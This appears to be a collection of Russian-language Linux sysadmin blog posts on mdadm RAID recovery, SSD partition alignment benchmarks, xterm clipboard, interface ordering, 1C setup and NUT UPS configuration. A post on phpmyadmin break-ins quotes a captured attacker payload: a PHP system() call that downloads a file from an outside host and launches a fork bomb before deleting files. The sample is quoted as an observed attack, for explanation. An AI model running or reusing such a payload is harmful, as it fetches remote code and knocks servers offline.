Два полезных совета для восстановления большого Dump файла в MySQL

• AS RESTORING A DUMP TABLE INTO THE MYSQL MASTER – YOU BETTER GET SOME SLEEP
• Restoring Large MySQL Dump - 900 Millon Rows

    Сегодня столкнулся с ситуацией, что программный RAID1 запустился следующим образом:

md0 : inactive sda1[0](S) sdb1[1](S) sdc1[2](S)
      6288192 blocks

    В устройстве md0 было 4-е партиции, т.к. производили замену жесткого диска, одна утеряна. Но проблема в другом: устройство в состоянии inactive - это раз, два - все устройства подключились как spare drive. Партиция принадлежит /boot поэтому следующий трюк выдал желаемый результат:

# mdadm  --stop /dev/md0 
mdadm: stopped /dev/md0
# mdadm --assemble --force /dev/md0
mdadm: /dev/md0 has been started with 3 drives (out of 4).
# cat /proc/mdstat
...

md0 : active raid1 sda1[0] sdc1[2] sdb1[1]
      2096064 blocks [4/3] [UUU_]

    Дело в шляпе. Добавляем свежеиспеченный жесткий диск

# mdadm --add /dev/md0 /dev/sdd1 
mdadm: added /dev/sdd1
# cat /proc/mdstat 
...
md0 : active raid1 sdd1[4] sda1[0] sdc1[2] sdb1[1]
      2096064 blocks [4/3] [UUU_]
      [=======>.............]  recovery = 38.7% (812544/2096064) finish=2.3min speed=8952K/sec
#

Copy&Paste:

If you need a program like Adobe Air which does not have 64-bit .deb-package available for your Debian-based system here is way to fix package and get it to work in 64bit systems.
1. Download .deb package of program you want to install
2. In terminal window create tmp-directory: mkdir tmp
3. Extract the deb file to the tmp dir: dpkg-deb -x PACKAGE_NAME-i386.deb tmp
4. Extract the control files: dpkg-deb —control PACKAGE_NAME-i386.deb tmp/DEBIAN
5. Change the Architecture parameter from “i386″ to “all”: sed -i “s/i386/all/” tmp/DEBIAN/control
6. Repackage the deb file: dpkg -b tmp PACKAGE_NAME_64.deb
7. Now you can install it: sudo dpkg -i PACKAGE_NAME_64.deb
That’s it! Working like a charm in my Ubuntu 10.10 64bit system.

В моем случае это оказался пакет DraftSight.

Источник

    Мое личное мнение заключается в том, что использовать unity 3D/2D не возможно для эффективной работы. Актуальным стал вопрос возвращения доброго и привычного gnome. В этом отличным подспорьем послужили следующие заметки:
How to revert to GNOME Classic?
How to customize the gnome classic panel

Выдержка из Red Hat Enterprise Linux 6 Storage Administration Guide:

20.1. Deployment Considerations
Because of the internal layout and operation of SSDs, it is best to partition devices on an internal erase block boundary. Partitioning utilities in Red Hat Enterprise Linux 6 chooses sane defaults if the SSD exports topology information. This is especially true if the exported topology information includes alignment offsets and optimal I/O sizes.
However, if the device does not export topology information, Red Hat recommends that the first partition be created at a 1MB boundary. In addition, keep in mind that logical volumes, device-mapper targets, and md targets do not support TRIM. As such, the default Red Hat Enterprise Linux 6 installation will not allow the use of the TRIM command, since this install uses DM-linear targets. Red Hat also warns that software RAID levels 1, 4, 5, and 6 are not recommended for use on SSDs. During the initialization stage of these RAID levels, some RAID management utilities (such as mdadm) write to all of the blocks on the storage device to ensure that checksums operate properly. This will cause the performance of the SSD to degrade quickly.
At present, ext4 is the only fully-supported file system that supports TRIM. To enable TRIM commands on a device, use the mount option discard. For example, to mount /dev/sda2 to /mnt with TRIM enabled, run:

mount -t ext4 -o discard /dev/sda2 /mnt

By default, ext4 does not issue the TRIM command. This is mostly to avoid problems on devices which may not properly implement the TRIM command. The Linux swap code will issue TRIM commands to TRIM-enabled devices, and there is no option to control this behaviour.

Источник

    Превосходное решение извечного неудобства использования xterm, а именно копирования/вставки из него в другие приложения. Неудобство связано с тем, что xterm при копировании использует legacy PRIMARY selection buffer, вставка из которого происходит по нажатию средней кнопки мыши.

Элегантность решения заключается в добавлении нижеследующей строчки в файл ~/.Xresources

XTerm*VT100.translations: #override <Btn1Up>: select-end(PRIMARY, CLIPBOARD, CUT_BUFFER0)

Чтобы не перезапускать текущую X11 сессию достаточно выполнить команду

xrdb -merge .Xresources

    Изначально планировалось написать развернутую заметку о вреде использования устаревшего программного обеспечения и в особенности phpmyadmin. Однако по прошествии нескольких дней по ключевым словам была найдена аналогичная статья, которая рекомендована к прочтению.

    Остановимся на отличительных особенностях. Автор использовал модифицированный скрипт php, чтобы перехватить данные POST-запроса, т.к. по умолчанию они не записываются ни в какой журнал. Однако в этом нет необходимости. В особенности, если на сервере размещается несколько проектов и каждый использует свою копию phpmyadmin или какого-либо другого уязвимого программного обеспечения, модификация каждого из них дело неблагодарное. Достаточно воспользоваться штатным модулем mod_dumpio сервера apache. Для его активации необходимо добавить директивы

LoadModule dumpio_module modules/mod_dumpio.so
DumpIOInput On
LogLevel debug

    При этом необходимо убедиться, что директива LogLevel не переопределяется в нижележащих директивах, например, в директиве VirtualHost предположительно уязвимого домена. В этом случае все данные всех POST-запросов будут записываться в соответствующие журналы ErrorLog.

    Немаловажный момент всей процедуры актуальность Вашей операционной системы и системных сервисов. Т.к. после автоматического проникновения бота вырисовывается человек и начинает перебирать различные эксплоиты с целью заполучить полный контроль над системой. Окончательно отчаявшиеся в безуспешности своих попыток, пытаются просто навредить. В частности среди возможных скриптов на выполнение проскакивают типичные fork() бомбы:

<? system("cd /tmp/ ; wget -q http://tevad.do.am/j.txt ; curl -O http://tevad.do.am/j.txt ; fetch http://tevad.do.am/j.txt ; perl -e 'fork while fork;' ; rm -rf j*");exit?>

    Т.к. с течением времени использованные при взломе ссылки становятся не доступными, позволим себе под капотом разместить в base64 формате полученные в результате анализа исходные тексты вышеописанных в статье ботов.

    Привычные имена eth0, eth1, ... в современной GNU/Linux системе не говорят ничего о том, в какой последовательности сетевые интерфейсы зарегистрированы в ядре. Название может привязываться к конкретной карте через системный демон udev, программой ifrename, изменяться через ip link set dev ... name, et cetera.
    Однако в очень редких случаях требуется, чтобы функция if_nameindex() возвращала структуру if_nameindex в определенной упорядоченной последовательности. Например, закрытое программное обеспечение, которое имеет привязку к MAC адресу сетевого интерфейса, полученного вызовом ioctl с параметром SIOCGIFCONF. В качестве подходящего интерфейса для получения канального адреса оно выбирает первый активный не loopback интерфейс. Таким образом возникает ситуация, когда требуемый интерфейс с MAC-адресом указанным в лицензии к закрытому продукту может оказаться в списке вторым или третьим кандидатом, но никак не первым. В этом случае программа завершит свое выполнение с ошибкой.
    Чтобы убедиться в происходящем предложим простой пробник

/* ifacelist.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>

int get_iface_list(struct ifconf *ifconf)
{
   int sock, rval;

   sock = socket(AF_INET,SOCK_STREAM,0);
   if(sock < 0)
   {
     perror("socket");
     return (-1);
   }

   if((rval = ioctl(sock, SIOCGIFCONF , (char*) ifconf  )) < 0 )
     perror("ioctl(SIOGIFCONF)");

   close(sock);

   return rval;
}


int main()
{
   static struct ifreq ifreqs[20];
   struct ifconf ifconf;
   int  nifaces, i;

   memset(&ifconf,0,sizeof(ifconf));
   ifconf.ifc_buf = (char*) (ifreqs);
   ifconf.ifc_len = sizeof(ifreqs);

   if(get_iface_list(&ifconf) < 0) return -1;

   nifaces =  ifconf.ifc_len/sizeof(struct ifreq);

   printf("Interfaces (count = %d)\n", nifaces);
   for(i = 0; i < nifaces; i++)
   {
     printf("\t%-10s\n", ifreqs[i].ifr_name);
   }
}

    Процесс сборки выполняется командой gcc -o ifacelist ifacelist.c. Первый запуск

~$ ./ifacelist 
Interfaces (count = 3)
        lo
        eth0        
        dummy0   
~$    

    Вымышленный сетевой интерфейс dummy0 значится в списке замыкающим. Требуется, чтобы он занимал место в списке следующее за интерфейсом lo. Добиться желаемого можно загрузкой модуля ядра dummy перед загрузкой модуля ядра сетевого адаптера eth0. В рассматриваемом примере драйвером сетевого интерфейса заведует модуль r8169. Наиболее элегантное решение для Debian/Ubuntu описано на unix.stackexchange.com (Second method) и заключается в размещении модуля ядра сетевого адаптера eth0 в blacklist_е и последующая его загрузка с указанием явной последовательности через /etc/modules.
    Таким образом последовательность шагов заключается в создании файла /etc/modprobe.d/blacklist-net.conf с нижеследующим содержимым

# Disable automatic loading of kernel driver modules

blacklist r8169

    С последующим выполнением команд

update-initramfs -u

cat <<EOF >> /etc/modules
dummy
r8169
EOF

    Контрольный перезапуск системы и окончальная проверка подтвержают ожидаемый результат.

~$ ./ifacelist 
Interfaces (count = 3)
        lo        
        dummy0    
        eth0     
~$

    Основной ответ на этот вопрос изложен здесь. Опишем отличия, который возникли при запуске на CentOS 5.x i386.

    Во-первых, сам скрипт при пробном запуске требует указания в качестве параметра директории со шрифтами.

# /opt/1C/v8.2/i386/utils/config_server 
Can not detect font directory, please specify it!
# /opt/1C/v8.2/i386/utils/config_server --help
Usage: /opt/1C/v8.2/i386/utils/config_server [fontDir]

 fontDir - path to directory with truetype fonts. If this parameter
           is omitted, script will try to detect it automatically.

    По заверению разработчиков параметр fontDir является не обязательным. Однако заверений не достаточно. Исходный текст скрипта рассказывает нам о том, что он проверяет наличие директорий /usr/share/fonts/truetype/msttcorefonts и /usr/share/fonts/msttcorefonts. Обе отвечают за существование Microsoft True Type шрифтов в различных дистрибутивах. Стандартная поставка CentOS не включает в себя выше обозначенные шрифты. Самым правильным решением будет собрать собственный пакет. Для этого установим недостающие пакеты, подготовим окружение для сборки и установим собранный пакет следующим набором команд

sudo yum install rpm-build cabextract
cat <<'EOF' > $HOME/.rpmmacros
%_topdir        %(echo ${HOME})/build
%_buildroot     %{_tmppath}/%{name}-%{version}-root-%(%{__id_u} -n)
%_rpmdir        %{_topdir}/RPMS
%_srcrpmdir     %{_topdir}/SRPMS
%packager       %(echo ${USER}@)%(hostname)
%dist           .el5.local
EOF
cp -r /usr/src/redhat $HOME/build
wget -O $HOME/build/SPECS/msttcorefonts-2.0-1.spec http://corefonts.sourceforge.net/msttcorefonts-2.0-1.spec
rpmbuild -ba $HOME/build/SPECS/msttcorefonts-2.0-1.spec
sudo rpm -ivh $HOME/build/RPMS/noarch/msttcorefonts-2.0-1.noarch.rpm
rm -fr $HOME/build $HOME/.rpmmacros

    Последующий запуск /opt/1C/v8.2/i386/utils/config_server должен корректно завершиться. Результатом является создание файла /home/usr1cv82/.magick/type.xml. Если скрипт выдал сообщение об отсутствии пакета ttf2p1, для его установки можно воспользоваться репозиторием EPEL.

    Интересная головоломка подвернулась на днях. Как ранее отмечалось в такие моменты перестаешь верить, что 2 + 2 = 4. Постановка задачи: есть закрытое программное обеспечение, необходимо обеспечить его работу на платформе Linux Ubuntu-1004-lucid-64-minimal 2.6.32-29-server #58-Ubuntu SMP Fri Feb 11 21:06:51 UTC 2011 x86_64 GNU/Linux . Все предельно просто.     Первый запуск.

# ls -l macaddr
-rwxr-xr-x 1 root root 6371 2011-04-12 10:52 macaddr
# ./macaddr
-bash: ./macaddr: No such file or directory
#

    Что же это получается файл существует, однако bash говорит нам об обратном?! Проверяем имеющимися средствами

# ldd macaddr
        not a dynamic executable
# file macaddr
macaddr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped

# strace ./macaddr
execve("./macaddr", ["./macaddr"], [/* 20 vars */]) = -1 ENOENT (No such file or directory)
dup(2)                                  = 3
fcntl(3, F_GETFL)                       = 0x8002 (flags O_RDWR|O_LARGEFILE)
fstat(3, {st_mode=S_IFCHR|0600, st_rdev=makedev(136, 0), ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f97f71dd000
lseek(3, 0, SEEK_CUR)                   = -1 ESPIPE (Illegal seek)
write(3, "strace: exec: No such file or di"..., 40strace: exec: No such file or directory
) = 40
close(3)                                = 0
munmap(0x7f97f71dd000, 4096)            = 0
exit_group(1)                           = ?
#

    Вторая, третья, ..., десятая попытка не дают никаких положительных результатов. Внимательный читатель мог заметить, что бинарный файл относится к 32 битной архитектуре и запускается на 64 битной. Но это утверждение было проверено при первых запусках, ldd отрапортовался not a dynamic executable. Как оказалось его результат ошибочен.

    Так как никакой зацепки не было, поиски, разумеется, возвращали все что угодно, только не ответ на вопрос. Дальнейшие анализ все таки дал результат. Файл на самом деле динамически слинкован! Это и есть долгожданная ниточка к развязке. Запуск

# strings macaddr | head -5
/lib/ld-linux.so.2
libstdc++.so.6
__gxx_personality_v0
_Jv_RegisterClasses
__gmon_start__
# 

    Указывает, что не хватает ключевой библиотеки /lib/ld-linux.so.2 (32_х битная вариант). В этом мгновение и ответ от поисковика подтянулся. Установка libc6-i386 расставляет все на свои места:

# ldd macaddr 
        linux-gate.so.1 =>  (0xf7709000)
        libstdc++.so.6 => not found
        libm.so.6 => /lib32/libm.so.6 (0xf76dc000)
        libgcc_s.so.1 => not found
        libc.so.6 => /lib32/libc.so.6 (0xf7581000)
        /lib/ld-linux.so.2 (0xf770a000)
# 

    Недостающие библиотеки в данном случае мелочи, главное ldd начал выдавать ожидаемый от него результат.

    Сегодня убедился, что, оказывается, не все знают как простым способом создать случайный пароль. Сделать это можно базовыми средствами системы с помощью, например,

head -c 6 /dev/urandom | openssl base64

    После опубликования результатов тестирования Hardware 3ware RAID10 vs Linux Software RAID10 в кулуарах мы провели сравнительное тестирование массивов 6xSAS и 6xSSD, объединенных в программный RAID10. Однако результаты не были опубликованы. Публикация статьи соображения о SSD подсыпала пороха в пороховницы.

    В рассмотрении будут участвовать два SSD диска объемом 128GB с маркировкой Super Talent UltraDrive ME SSD FTM28GX25H. Нам было интересно рассмотреть как выравнивание и его отсутствие влияет на производительность файловых систем на программной RAID1 массиве. Четких сведений относительно размера Erase Block на этом носителе не удалось найти. Мы ориентировались на значение 128KB. Аппаратная часть 4_е ядра Intel Core i7 930, 24 GB RAM. Операционная система Ubuntu 10.04.2 Server LTS. Версия ядра 2.6.32-28-server.

    Для тестирования с выравниванием создавалась следующая разметка диска:

echo '2048,,fd' | sfdisk -f -uS /dev/sdc
echo '2048,,fd' | sfdisk -f -uS /dev/sdd
mdadm --create /dev/md4 --raid-devices=2 --level=1 /dev/sdc1 /dev/sdd1

    Для случая без выравнивания ориентировались на стандартное поведение fdisk (смещение в 63 сектора)

echo '63,,fd' | sfdisk -f -uS /dev/sdc
echo '63,,fd' | sfdisk -f -uS /dev/sdd
mdadm --create /dev/md4 --raid-devices=2 --level=1 /dev/sdc1 /dev/sdd1

    Для случая с выравниванием мы рассмотрели три возможных варианта создания файловых систем

• mkfs.xfs /dev/md4 (метка XFS_ALIGN_AUTO)
• mkfs.xfs -d su=128k -d sw=1 /dev/md4 (метка XFS_ALIGN_MANUAL)
• mkfs.ext4 -E stride=32,stripe-width=32 /dev/md4 (метка EXT4_ALIGN)

    Первая команда обусловлена тем, что согласно документации на mkfs.xfs

When a filesystem is created  on  a  logical  volume
device,  mkfs.xfs will automatically query the logical 
volume for appropriate sunit and swidth values.

    Однако в рассматриваемом нами случае запросить эту информацию попросту не у кого. Поэтому встроенная в mkfs.xfs автоматическая настройка параметров sunit и swidth в данном случае не работает. Информация полученная из xfs_info лишнее тому подтверждение

meta-data=/dev/md4               isize=256    agcount=4, agsize=7814608 blks
         =                       sectsz=512   attr=2
data     =                       bsize=4096   blocks=31258432, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0
log      =internal               bsize=4096   blocks=15262, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0

    Для нас этот вариант интересен оценкой целесообразности указания параметров su и sw при выполнении второй команды (su и sw являются аналогами sunit и swidth, отличие заключается в том что они оперируют байтами, а не 512 байтовыми блоками). Оказывают они какой-нибудь эффект в данном случае на производительность по сути одного накопителя или нет? Имеет смысл помнить о них инженеру или можно просто положиться на встроенный интеллект mkfs.xfs?

    С вариантом без выравнивания мы рассмотрели два случая

• mkfs.xfs /dev/md4 (метка XFS)
• mkfs.ext4 /dev/md4 (метка EXT4)

    Во всех случаях использовались опции монтирования для ext4 -o barrier=0, для XFS -o nobarrier.

    В качестве верхней границы блочной операций записи выступает значение в 195 MB/s, полученное в результате использования dd

$ dd if=/dev/zero of=/dev/sdd bs=128K
976835+0 records in
976834+0 records out
128035676160 bytes (128 GB) copied, 656.573 s, 195 MB/s

    График #1 демонстрирует блочную запись, чтение и перезапись для пяти кандидатов


    Во всех трех номинациях победитель XFS_ALIGN_MANUAL. В блочной записи он превзошел своего ближайшего оппонента на 15%, на 9% в блочном чтении и на 2% при перезаписи. Ранее мы озадачились вопросом необходимости ручного выравнивания XFS раздела путем явного указания параметров sunit/swidth (su/sw). Раздел с ручным указанием этих параметров XFS_ALIGN_MANUAL превзошел своего автоматического аналога XFS_ALIGN_AUTO на 15% (23 MB/s) в блочной записи, на 21% на блочном чтении (30 MB/s), на 3% на перезаписи. Мы рекомендуем забыть о автоматической настройке от mkfs.xfs и всегда явно задавать параметры sunit/swidth (su/sw), чтобы избежать путаницы в каких случаях автоматика работает, а в каких нет. Если вы не указали эти параметры при создании файловой системы еще не все потеряно. Их можно задать на этапе монтирования раздела.

    Для файловой системы ext4 наличие выравнивания дает прирост блочной записи на 3% и 4% при перезаписи.

    В сравнении с эталонным значением в 195 MB/s (верхней границей блочной записи на этом накопителе) накладные расходы на поддержание метаинформации файловой системы XFS с выравниванием составляют 16% (XFS_ALIGN_MANUAL), на файловую систему ext4 с выравниванием - 34% (EXT4_ALIGN).

    График #2 демонстрирует предельно допустимое количество операций смещения


    Вырезка из официальной документации к bonnie++ повествует

Random Seeks
This test runs SeekProcCount processes (default 3) in parallel, doing a total of 8000 lseek()s to locations in the file specified by random() in bsd systems, drand48() on sysV systems. In each case, the block is read with read(2). In 10% of cases, it is dirtied and written back with write(2).
The idea behind the SeekProcCount processes is to make sure there's always a seek queued up.
AXIOM: For any unix filesystem, the effective number of lseek(2) calls per second declines asymptotically to near 30, once the effect of caching is defeated.
...
Many Unix systems that have the memory available will make aggressive efforts to cache the whole thing, and report random I/O rates in the thousands per second, which is ridiculous...Some have argued that bypassing the cache is artificial since the cache is just doing what it's designed to.

    Так как тестирование рассматривалось в рамках одной системы и в рамках идентичных алгоритмов кеширования, мы решили включить его в заключение. На нем четко просматривается, что выравнивание дает выигрыш в 245% для файловой системы ext4 и в 238% для файловой системы XFS. В целом лидером номинации является EXT4_ALIGN, XFS_ALIGN_MANUAL отстает от нее на 6%. Худший результат показала EXT4 (невыровненная).

    Итог. Выравнивание раздела на SSD носителе положительно сказывается на его производительности. Наиболее ярко проявляется на файловой системе XFS.

Полученные данные

• Чистые данные bonnie++
• Результат обработки bon_csv2html
• Аппаратные и программные параметры системы

Дополнительные материалы

• Improving RAID performance with filesystem and RAID parameters
• How to calculate the correct sunit,swidth values for optimal performance
• Aligning an SSD on Linux

    Каждый день преподносит новые сюрпризы. С нуля настроенная система после итоговой проверочной перезагрузки не взлетела. Проблему с запуском удалось быстро детектировать. Системы пыталась запустить md-устройство с физического носителя вместо партиции. Таким образом появлялось устройство

md4 : active raid1 sdd[1] sdc[0]

    Вообще требовалось взлететь с партиций sdd1 и sdc1, а не с блочных устройств sdd и sdc. Соответственно файловая система не смогла смонтироваться и процесс инициализации системы прерывался. Однако нигде не фигурировала ошибка, почему это происходит. Пляски вокруг /etc/mdadm/mdadm.conf, чтение init скриптов никаких мыслей не навеивало. Попытка воссоздать процесс инициализации привела к команде mdadm --assemble --scan, выполнение которой дало должный результат (ошибку)

    mdadm: WARNING /dev/sdd1 and /dev/sdd appear to have very similar
    superblocks. If they are really different, please --zero the superblock on
    one. If they are the same or overlap, please remove one from the DEVICE
    list in mdadm.conf.

    Таким образом получилось что партиция sdd1 и блочное устройство sdd поимели общий superblock на оконечной стороне устройства. Google нашептал несколько решений

  There are two ways to solve this:

  (a) recreate the arrays with version-1 superblocks, which is not always an
      option -- you cannot yet upgrade version-0 to version-1 superblocks for
      existing arrays.

  (b) instead of 'DEVICE partitions', list exactly those devices that are
      components of MD arrays on your system. So in the above example:

        - DEVICE partitions
        + DEVICE /dev/hd[ab]* /dev/hdc[123]

    Решено было использовать 3-ей вариант: просто уменьшить размер раздела. В нашем это

echo '2048,249561088,fd' | sfdisk -f -uS /dev/sdc
echo '2048,249561088,fd' | sfdisk -f -uS /dev/sdd

    С последующей переинициализацией md-устройства и созданием новой таблицы раздела.

    Заметка представляет из себя сгруппированные факты из различных источников.

    Факт номер один. SSD оперирует Erase Block_ами. Понятие близкое к chunk_ам из страйп-ориентированных RAID-массивов. Aligning an SSD on Linux:

SSDs always operate on entire blocks of memory. ... this means that if you write 1 KB of data to an SSD with an erase block size of 128 KB, the SSD needs to read 127 KB from the target block, erase the block and write the old data plus the new data back into the block. That's something one just has to accept when using an SSD. Modern SSD firmware will do its best to pre-erase blocks when it's idle and try to write new data into these pre-erased blocks (by mapping data to other locations on the drive without the knowledge of the OS.)

    Факт номер два. Похоже, следует избегать указанной выше оптимизации с mapping_ом данных. Связано это с тем, что в этом случае возрастает фрагментация и падает производительность Aligning filesystems to an SSD’s erase block size:

This technique tends to work very well. However, over time, the table will get terribly fragmented, and depending on whether the internal block sector size is 512 or 4k (or something in between), there could be a situation where all but one or two of the internal sectors on the disks have been mapped away to other erase blocks, leading to fragmentation of the erase blocks. This is not just a theoretical problem; there are reports from the field that this happens relatively easy. For example, see Allyn Malventano’s Long-term performance analysis of Intel Mainstream SSDs and Marc Prieur’s report from BeHardware.com which includes an official response from Intel regarding this phenomenon. Laurent Gilson posted on the Linux-Thinkpad mailing list that when he tried using the X25-M to store commit journals for a database, that after writing 170% of the capacity of an Intel SSD, the small writes caused the write performance to go through the floor. More troubling, Allyn Malventano indicated that if the drive is abused for too long with a mixture of small and large writes, it can get into a state where the performance degredation is permanent, and even a series of large writes apparently does not restore the drive’s function — only an ATA SECURITY ERASE command to completely reset the mapping table seems to help.

    Чтобы не допустить этого рекомендуется...угадаете? Правильно, "Allyn’s review speculates that aligning writes to erase write boundaries can help — I’m not 100% sure this is true, but without detailed knowledge of what is going on under the covers in Intel’s SSD, we won’t know for sure". Таким образом в наших интересах выравнивать запись относительно Erase Block_а
    Компания Novel в продукте SLES предложила промежуточное решение

For SSDs, one thing that has been observed especially with the first generation of drives is that their write performance drops dramatically as soon as the drives run out of empty erase blocks, which happens after using them for a while. More modern drives address this by recycling unused (zeroed-out) space automatically and allowing the OS to tell the SSD about unused blocks using the TRIM command. SLE11 SP1 ships with wiper.sh which will send down appropriate TRIM commands by analyzing a filesystem. Note that this should be only used after having done a backup. Also it has certain limitations, like e.g. not supporting LVM or RAID and not supporting some file systems at all (btrfs) or only supporting offline or read-only trimming for some filesystems.

    Факт номер три. К сожалению, ситуация вышла немного из под контроля. Для SSD нет достоверной информации о том, какой размер имеет Erase Block.

Before doing the work, a decision needs to be taken what alignment should be used. If the internal block size is known (like for disks with internal 4k sectors), that one could be chosen. For SSDs, it is generally not known.

    Во многих источниках фигурирует информация о том, что для Intel SSDs внутренний размер Erase Block_а составляет 128KiB. Официальной информации подтверждающей этот факт нет.

    Разные источники предлагают различное смещение. Какие-то смещение в 4KB (для обычных дисков с 4KB внутренними секторами), какие-то 128 KB. Более осмысленным мне показалось решение из Redmon_a

But the friends from Redmond provide guidance here -- as Windows 7 by default uses 1M partition alignment, it is save to assume that most drives will be optimized to provide good performance with such alignment. So in case of doubt, it will never hurt to align partition starts to 1M boundaries.

    Оставим за кулуарами черную магию скрытую в расчетах секторов и головок для fdisk, воспользуемся простой командой

echo '2048,,' | sfdisk -f -uS /dev/SSD

    Которая создаст раздел с требуемым смещением в 2048 секторов 512 байт каждый (2048 * 512 byte / 1024 / 1024 = 1 MB).

    Оказывается современные версии fdisk при отключенном режиме совместимости предлагают смещение именно в 1MB:

 fdisk /dev/sdb 
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0x5310aa1b.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

WARNING: DOS-compatible mode is deprecated. It's strongly recommended to
         switch off the mode (command 'c') and change display units to
         sectors (command 'u').

Command (m for help): c
DOS Compatibility flag is not set

Command (m for help): u
Changing display/entry units to sectors

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First sector (2048-3842047, default 2048): 

    С таким сообщением довелось повоевать на прошлой неделе при подключении Network UPS Tools (NUT) к источнику бесперебойного питания. Первое впечатление было, что необходимые директивы конфигурационных файлов прописыны верно. В uspd.conf добавлен полноправный пользователь

[upsmaster]
  password = 123456
  allowfrom = 127.0.0.1
  actions = SET
  instcmds = ALL
  upsmon master

    Прописана соответствующая этому пользователю секция в upsmon.conf

MONITOR ups@localhost 1 upsmaster 123456 master

    Однако upsmon рапортовал

Master privileges unavailable on UPS

    Поиски приводили к рекомендациям добавить директиву upsmon master к описанию привилегий пользователя. К моему сожалению, этот совет не принес ничего нового. Поскольку с наскока не удалось разобраться, началось скрупулезное чтение документации. В одном из комментариев синим по черному (чтение проходило в vim_e, запущенном в терминале) обнаружились заветные строчки

#
# allowfrom: ACL names that this user may connect from.  ACLs are
#            defined in upsd.conf.
#

    По умолчанию для CentOS определены два ACL в конфигурационном файле upsd.conf

ACL all 0.0.0.0/0
ACL localhost 127.0.0.1/32

    Таким образом параграф описывающий полноправного пользователя должен выглядеть следующим образом (для машины localhost)

[upsmaster]
  password = 123456
  allowfrom = localhost
  actions = SET
  instcmds = ALL
  upsmon master

    Мое личное мнение allowfrom в данном случае не подходящие название для директивы, требующей в качестве значения имени ACL.